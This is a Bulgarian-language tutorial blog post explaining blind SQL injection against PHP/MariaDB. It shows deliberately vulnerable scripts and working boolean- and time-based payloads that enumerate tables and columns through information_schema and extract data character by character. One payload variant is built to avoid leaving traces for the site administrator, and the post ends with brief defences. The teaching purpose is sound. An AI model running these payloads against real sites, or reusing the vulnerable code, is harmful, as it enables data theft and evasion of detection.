C, PHP, VB, .NET

Дневникът на Филип Петров


* Blind SQL Injection

Публикувано на 05 април 2017 в раздел ОСУП.

Когато се говори за blind sql injection се има предвид, че атаката се извършва без атакуваната страница да дава грешка. Вместо това хакерът вижда съвсем нормален отговор, но според него успява да определи дали заявката му е минала успешно или не.

Нека имаме база от данни със статии:

CREATE TABLE articles(
   id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
   content TEXT NOT NULL
);

Даден е следният скрипт, който отваря дадена статия според нейното id:

<html><head><title>Articles</title></head><body>
<?php
   $id = $_GET['id']??1;
   $link = @mysqli_connect("localhost", "user", "pass", "db");
   $id = @mysqli_real_escape_string($link, $id);
   $sql = "SELECT content FROM articles WHERE id=$id";
   $result = @mysqli_query($link, $sql);
   $row = @mysqli_fetch_assoc($result);
   echo $row['content']??'No such article';
?></body></html>

Забележете, че в случая е изпълнена функцията mysqli_real_escape_string, но въпреки това скриптът е уязвим от SQL Injection. Параметърът $_GET[‘id’] се очаква да е INT, но хакера може да подаде произволен текстови низ. Навсякъде в скрипта сме използвали символа „@“, т.е. имаме „suppress warnings“ и хакера няма да разбере, че заявката се е счупила. Това, което може да направи, е да оцени дали заявката се е счупила или не при избор на валидно id на статия и долепяне на невалидно допълнително условие и ако допълнителното условие е false или чупи заявката, той ще вижда „No such article“. В противен случай той ще виджа коректно избраната от него статия.

Ще демонстрираме последователност от заявки, с които ще открием различни неща за SQL сървъра:

1. Да намерим SQL версията на сървъра.

Нека например сървърът е MariaDB. Ако успеем да изпълним функция VERSION(), бихме получили нещо като „10.1.19-MariaDB“. Тоест един желан параметър в URL, с който бихме могли да проверим дали версията е точно тази, би бил:

.../articles.php?id=3 AND VERSION()="10.1.19-MariaDB"

Тази заявка обаче няма да мине и ще върне „No such article“ дори версията на MariaDB да е точно тази. Причината е, че mysqli_real_escape_string ще сложи наклонени черти пред двойните кавички и съответно заявката ще стане невалидна. Именно поради тази причина заявката е „на сляпо“ – реално не знаем дали заявката се е счупила или е преминала успешно.

Тук хакерът ще действа на принципа проба-грешка. Първо ще опита параметър „?id=3 AND 1=1“, с което ще се убеди, че наистина има наличен SQL injection – би видял коректно резултат със статия №3. После може да опита „?id=3 AND ‘1’=’1′“, с което ще види „No such article“ – това ще му подскаже, че в действие има пуснат mysqli_real_escape_string. От тук насетне той трябва да изпълнява такива заявки, в които няма кавички. От примера да намиране на версията на MariaDB, това би била следната последователност от заявки:

  • id=3 AND SUBSTRING(VERSION(),1,1)=1
  • id=3 AND SUBSTRING(VERSION(),2,1)=0
  • id=3 AND SUBSTRING(VERSION(),4,1)=1
  • id=3 AND SUBSTRING(VERSION(),6,1)=1
  • id=3 AND SUBSTRING(VERSION(),9,1)=9

Така той еднозначно определя, че версията е 10.1.19. Естествено между тези заявки той ще има и редица неуспешни опити. Както вече казахме, принципът е от типа „проба-грешка“.

2. Извличане на имена на таблици и колони

Ако таблица articles не е интересна за нас, може да потърсим други таблици в базата от данни. По-наивният начин отново е на принципа проба-грешка – просто пробваме различни имена докато налучкаме някое. Единственото, което е нужно, е да можем да правим вложен SELECT (няма проблем с mysqli_real_escape_string):

    • Пример за търсене на таблици:
      id=3 AND (SELECT 1 FROM admin LIMIT 0,1)=1
      id=3 AND (SELECT 1 FROM secretdata LIMIT 0,1)=1
    • Пример за търсене на колони в намерена таблица:
      id=3 AND (SELECT SUBSTRING(concat(1,pass),1,1) FROM secretdata LIMIT 0,1)=1
      id=3 AND (SELECT SUBSTRING(concat(1,value),1,1) FROM secretdata LIMIT 0,1)=1

Налучкването обаче няма да е практично ако имената на таблиците са нестандартни думи (например с префикс. За целта на помощ ни идва information_schema (до която всеки потребител има достъп). Следната заявка би извадила имената на всички таблици до които имаме достъп в системата, като ще подреди тези с малки букви в началото (системните таблици са винаги с главни букви и това ни помага):

SELECT DISTINCT table_name 
FROM information_schema.columns 
ORDER BY BINARY(table_name) DESC;

При LIMIT 0,1 ще вземем името на първата таблица, LIMIT 1,1 на втората, и т.н. От тук насетне можем да извлечем имената на тези таблици, буква по буква и отново на принципа проба-грешка:

  • Проверка дали първата буква на първата таблица е след ASCII символ 90: id=3 AND ASCII(SUBSTRING((SELECT distinct table_name FROM information_schema.columns ORDER BY BINARY(table_name) DESC LIMIT 0,1),1,1))>90
  • Проверка дали първата буква на първата таблица е преди ASCII символ 110: id=3 AND ASCII(SUBSTRING((SELECT distinct table_name FROM information_schema.columns ORDER BY BINARY(table_name) DESC LIMIT 0,1),1,1))<110

 

Заявките ще са много, но практически с този метод можем да извлечем имената на всички таблици от базата от данни, до които свързания потребител има достъп.

По аналогичен начин можем да извлечем имената на колоните на тези таблици. Например първата колона на първата таблица можем да вземем със следната заявка:

SELECT column_name 
FROM information_schema.columns 
WHERE table_name = (SELECT DISTINCT table_name 
                    FROM information_schema.columns 
                    ORDER BY BINARY(table_name) DESC 
                    LIMIT 0,1
                   ) 
LIMIT 0,1;

Е, аналогично на предишният показан метод, можем да извлечем имената на колоните на таблиците чрез следния параметър:

  • Проверка дали първата буква на първата колона на първата таблица е след ASCII символ 90: id=3 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name = (SELECT DISTINCT table_name FROM information_schema.columns ORDER BY binary(table_name) DESC LIMIT 0,1) LIMIT 0,1),1,1))>90
  • Проверка дали първата буква на първата колона на първата таблица е преди ASCII символ 110: id=3 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name = (SELECT DISTINCT table_name FROM information_schema.columns ORDER BY binary(table_name) DESC LIMIT 0,1) LIMIT 0,1),1,1))<110

3. Извличане на данни от таблиците

Вероятно вече се досетихте, че знаейки имената на таблиците и имената на техните колони, вече можем да взимаме дума по дума от тях и буквално да възпроизведем цялата база от данни. Нека имаме таблица secretdata с колона value. Намираме първа буква на първи ред от тази колона:

  • id=3 AND ASCII(SUBSTRING((SELECT value FROM secretdata LIMIT 0,1),1,1))>90 // FALSE – първа буква е преди a
  • id=3 AND ASCII(SUBSTRING((SELECT value FROM secretdata LIMIT 0,1),1,1))>80 // TRUE първа буква след P
  • id=3 AND ASCII(SUBSTRING((SELECT value FROM secretdata LIMIT 0,1),1,1))>85 // FALSE първа буква преди V
  • id=3 AND ASCII(SUBSTRING((SELECT value FROM secretdata LIMIT 0,1),1,1))>83 // FALSE първа буква преди T
  • id=3 AND ASCII(SUBSTRING((SELECT value FROM secretdata LIMIT 0,1),1,1))>81 // TRUE първа буква след Q
  • id=3 AND ASCII(SUBSTRING((SELECT value FROM secretdata LIMIT 0,1),1,1))>82 // TRUE първа буква след R„

=> първата буква е преди T и след R => първа буква е S

Продължаваме за втора, трета и т.н. Когато буквите се изчерпат (наш), проверката ще връща винаги false. После за втори, трети и т.н. ред се сменя LIMIT 0,1 с LIMIT n,1. Така постепенно се извлича цялото съдържание на цялата таблица.

4. SQL Injection напълно насляпо:

Пълното съдържание на понятието „Blind SQL Injection“ идва тогава, когато хакера не може да определи дори true/false при неговите заявки. Нека например имаме таблица със следните три колони:

CREATE TABLE messages(
   id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
   name VARCHAR(255) NOT NULL,
   message VARCHAR(255) NOT NULL
);

На сайта има качена следната форма за обратна връзка, в която хората попълват името си и съобщение:

<html><head><title>Articles</title></head><body>
<form action="test.php" method="POST">
   Name: <input type="text" name="name" /><br>
   MSG: <input type="text" name="message" /><br>
   <input type="submit" name="submit" />
</form><br><br>
<?php
   if(isset($_POST['message'])&&isset($_POST['name'])
         &&
      !empty(isset($_POST['message']))
         &&
      !empty(isset($_POST['name']))
){
   $link = @mysqli_connect("localhost", "root", "", "proba");
   $sql = "INSERT INTO messages(name, message)
           VALUES('".$_POST['name']."', '".$_POST['message']."')";
   $result = @mysqli_query($link, $sql);
   echo "Thank you for your message";
}
?></body></html>

В тази форма има SQL injection, но независимо какво съобщение пускаме (стига да не е празно) ще виждаме винаги „Thank you for your message“.

Тук в помощ на хакерите идва т.нар. „timing“ атака. Те мерят времето, за което получават отговор, с което предполагат дали заявката е изпълнена успешно или не е. Обикновено се използват функции, които са тежки откъм изчисления. Такава например е функцията BENCHMARK.

Пример за намиране на версията на сървъра – записваме следните стрингове в name:

  • spam’, (SELECT IF(VERSION()=“10.1.22-MariaDB“,BENCHMARK(10000000,MD5(CHAR(1))),NULL))) – –
  • spam’, (SELECT IF(VERSION()=“10.1.19-MariaDB“,BENCHMARK(10000000,MD5(CHAR(1))),NULL))) – –

Съобщението в MSG няма значение, защото с „–“ сме сложили коментар в SQL заявката. Първата заявка няма да се забави, а втората ще се забави – с това ще разберем, че версията на SQL сървъра е 10.1.19.

В конкретният пример има негативен ефект, че оставяме следа в базата от данни – реален коментар с име, което съдържа SQL код. Това ще даде индикация на администратора на сайта, че някой се опитва да го хакне. За да не се оставят подобни следи, можем да сложим още един IF, с който да вкарваме винаги NULL:

  • spam’, (SELECT IF(VERSION()=“10.1.19-MariaDB“,IF(BENCHMARK(10000000,MD5(CHAR(1)))=0, NULL, NULL),NULL))) – –

Тъй като полетата в добре нормализираните бази от данни почти винаги са NOT NULL, така хакера ще е почти сигурен, че заявката няма да се изпълни, но за сметка на това забавянето ще го има, т.е. той може да прави проверки като тази показана по-горе и в предишните примери.

Защитата срещу тези атаки е същата, каквато е при нормалния SQL injection:

  1. Винаги валидирайте данните подадени от потребител по тип и по допустими стойности;
  2. Използването на параметризирани заявки или съхранени процедури гарантира, че няма да e възможен SQL injection;
  3. Винаги валидирайте данните и по тип! Ако например очаквате string, използвайте is_string().

 

 



Добави коментар

Адресът на електронната поща няма да се публикува


*